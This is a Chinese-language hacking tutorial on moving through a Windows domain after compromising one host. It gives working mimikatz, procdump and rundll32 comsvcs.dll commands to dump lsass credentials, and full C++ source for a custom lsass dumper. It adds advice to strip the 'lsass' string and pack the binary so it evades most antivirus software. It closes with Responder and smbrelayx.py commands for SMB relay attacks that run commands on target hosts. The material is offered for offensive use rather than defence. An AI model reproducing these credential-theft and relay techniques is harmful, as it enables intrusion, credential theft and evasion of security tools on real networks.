前言:
当我们获取到一台域内主机打算干什么,毫无疑问当然是拿域控,如果域控未发现漏洞应该怎么办,首先我们需要查看我们拿到主机的权限和在域中的组,如果本机权限够我们就需要利用工具抓取本机的hash,然后对内网其他主机进行哈希碰撞,如果成功,则利用哈希传递(Pass The Hash)获取shell,再进行进一步挖掘,或者我们可以采用NTLM Relay,然后配合其他漏洞触发NTLM验证,然后获取shell,但是这个方法实战中不是很使用,要求太苛刻,更多的是用哈希传递,这里对两个用法进行讲解:
哈希传递:
获取NTLMhash的方法有很多,因为lsass.exe中存贮NLTM哈希,所以基本思路就是使用工具直接获取lsass.exe中的NTLMhash,或者使用其他工具先dump下lsass.exe,然后同通过工具从dump文件中提取NLTM哈希,为什么要多此一举dump,主要还是因为要过杀软,毕竟dump进程的行为要比直接从lsass.exe获取hash安全得多:
使用mimikatz:
使用mimikatz获取hash,首先我们需要判断自己当前获取的权限是否为管理员权限,可以使用命令: net session
下图就可以看到当不为管理员权限的时候执行会返回权限不足:
如果为最高权限,直接执行如下命令即可:
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
执行后可以在返回结果中找到NTLM,对应的值为NTLMhash,如果运气好,系统版本较低或者注册表开启了UseLogonCredential,则直接可以抓取到明文密码:
procdump+Mimikatz:
该组合方法为procdump获取lsass.exe进程转储,Mimikatz对转储文件本地分析获取hash,下面首先使用procdump获取转储:
首先我们去微软官网下载procdump:
https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用如下命令获取lsass.dmp,但是同样需要管理员权限:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
或者通过进程号进行dump:
tasklist | find "lsass"
procdump64.exe -accepteula -ma 804 804.dmp
然后使用mimikatz对lsass.dmp文件进行读取:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
comsvcs.dll+Mimikatz:
如果想要通过系统自带的comsvcs.dll来dumplsass.exe,在dump指定进程内存文件时,需要开启SeDebugPrivilege权限。管理员权限的cmd下,状态为Disabled禁用状态:
whoami /priv | find "SeDebugPrivilege"
但是在powershell中是允许:
chcp 65001 |whoami /priv | findstr "SeDebugPrivilege"
所以只能通过powershell来执行:
rundll32.exe comsvcs.dll MiniDump 804 C:\\lsass.dmp full
然后使用mimikatz对lsass.dmp文件进行读取,另外如果杀软报警,则可以复制comsvcs.dll到一个新的目录并修改文件名称来进行命令行关键字绕过
自行DIY:
个人感觉这个方法是最好的,因为很好控制,编写一个遍历进程然后对lsass进行dump的代码,这样因为功能简单,很容易就能免杀,下面是一个网上的代码:
// Systempiv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include<windows.h>
#include<tlhelp32.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
using namespace std;
#define INFO_BUFFER_SIZE 32767
const unsigned long SE_DEBUG_PRIVILEGE = 0x14;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef int(WINAPI *type_RtlAdjustPrivilege)(int, bool, bool, int*);
bool DebugPrivilege() {
HANDLE hToken = NULL;
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//取得描述权限的LUID
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//调整访问令牌的权限
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
return 0;
}
bool ElevatePrivileges() {
HMODULE hDll = ::LoadLibrary(L"ntdll.dll");
type_RtlAdjustPrivilege RtlAdjustPrivilege = (type_RtlAdjustPrivilege)GetProcAddress(hDll, "RtlAdjustPrivilege");
int nEn = 0;
int nResult = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, true, &nEn);
if (nResult == 0x0c000007c)
{
nResult = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, true, false, &nEn);
}
printf("RtlAdjustPrivilege back:%d\n", nResult);
FreeLibrary(hDll);
return 0;
}
DWORD GetPID() {
DWORD PID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processName, L"lsass.exe") != 0)
{
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
PID = processEntry.th32ProcessID;
}
}
printf("pid is:%d\n", PID);
return PID;
}
bool dumpexe(DWORD PID) {
WCHAR commandLine[MAX_PATH];
WCHAR DumpFile[] = L"D:\\code\\dump\\Systempiv\\Debug\\dump.dmp";
_MiniDumpW MiniDumpW;
HMODULE hDll = ::LoadLibrary(L"comsvcs.dll");
MiniDumpW = (_MiniDumpW)GetProcAddress( hDll, "MiniDumpW");
if (MiniDumpW == NULL) {
printf("MiniDumpW is null\n");
return 0;
}
DebugPrivilege();
//ElevatePrivileges();
swprintf(commandLine, 512, L"%d %s full", PID, DumpFile);
printf("commandLine is: %ls\n", commandLine);
// 调用 MiniDumpW 函数创建内存转储文件
MiniDumpW(0, 0, commandLine);
Sleep(1000);
printf("ok\n");
return 0;
}
int main() {
DWORD PID = 0;
PID = GetPID();
dumpexe(PID);
}
代码首选需要拥有权限来内存进行操作,主要为DebugPrivilege()或者ElevatePrivileges()两个函数均可,DebugPrivilege函数主要使用AdjustTokenPrivileges函数对进程权限进行提升,AdjustTokenPrivileges函数是 Windows API 提供的标准函数,所以其被检测的可能性很高,所以可以选择第二种方法,ElevatePrivileges函数使用RtlAdjustPrivilege函数是 Windows NT 内部 API,用于调整当前线程的访问令牌特权级别,因为是通过dll动态加载可以更加的隐蔽。
dump内存这里选用的是动态加载comsvcs.dll,并获取MiniDumpW方法来实现dump,下面看下MiniDumpW的实现方法:
可以看到其最终其实还是调用MiniDumpWriteDump方法来实现dump指定进程,这里需要注意,如果权限不足或者创建文件失败则会直接调用ExitProcess退出进程,不会回到主程序中,测试的时候如果发现不执行后续代码,直接退出则为此原因:
另外需要注意系统的版本,如果系统是32位则编译为32位版本来dump,如果是64位则要生成64位代码进行测试,测试执行:
然后使用mimikatz读取,可以成功读取:
mimikatz.exe "sekurlsa::minidump dump.dmp" "sekurlsa::logonPasswords full" "exit"
在使用上述代码的过程中要注意,代码中不要出现lsass字符串,最好修改代码为PID通过命令行输出,然后对编译好的代码进行加壳后即可绕过市面绝大部分的杀毒软件查杀。
SMB Relay攻击:
通过NTLM Relay抓取NET_NTLMhash的方式之前已经介绍过了,这里就不介绍了,这里介绍如何通过SMB Relay来获得远程shell:
首先我们要使用RunFinger扫描要攻击主机的是否开启SMB1
python2 RunFinger.py -i 192.168.5.1/24
如果没有开启,可以在如下地址进行设置
扫描如下,如果为True则可以攻击,否则不行:
当存在为True的便可以进行攻击,攻击流程首先使用Responder,首先进行设置:
设置完成后使用如下命令启动:
python3 Responder.py -I eth0
下面就可以对指定主机进行攻击,比如我们希望获取主机192.168.5.89的shell,那么可以使用如下命令:
smbrelayx.py -h 192.168.5.89 -c 'whoami'
执行成功后,会将Responder拦截的所有NET_NTLMhash,并通过中间人的方式进行认证,如果权限允许,则可以在目标主机执行命令,注意能否执行成功一定要抓取到的NET_NTLMhash拥有权限能对被攻击主机进行访问操作权限,否则将会返回访问被拒绝,如下图:
能够攻击成功主要取决于Responder能否抓取到权限较高的NET_NTLMhash,所以取决于当前的网络环境和高权限下主机有没有进行smb认证操作,如何触发认证,Responder中我们开启了http和smb,则当高权限主机做了如下操作都会触发:
这里需要注意,不要添加.com,如果添加则会走dns解析则无法抓取NET_NTLMhash,不加走的是对文件访问,则会触发smb认证.
上述三种都可触发smb认证,进而抓取NET_NTLMhash,然后通过该NET_NTLMhash去尝试连接被攻击主机,如果权限允许便可执行命令。所以我们可以采用钓鱼或者寻找web是否存在ssrf漏洞来触发smb认证,当然这个存在很大的运气成分,毕竟如果我们能在权限较高主机执行命令,那为何还要本末倒置去抓取NET_NTLMhash,直接使用NTLMhash进行内网漫游不是更方便,这个方法一般都是没有什么好的办法了,才会采用这种方法。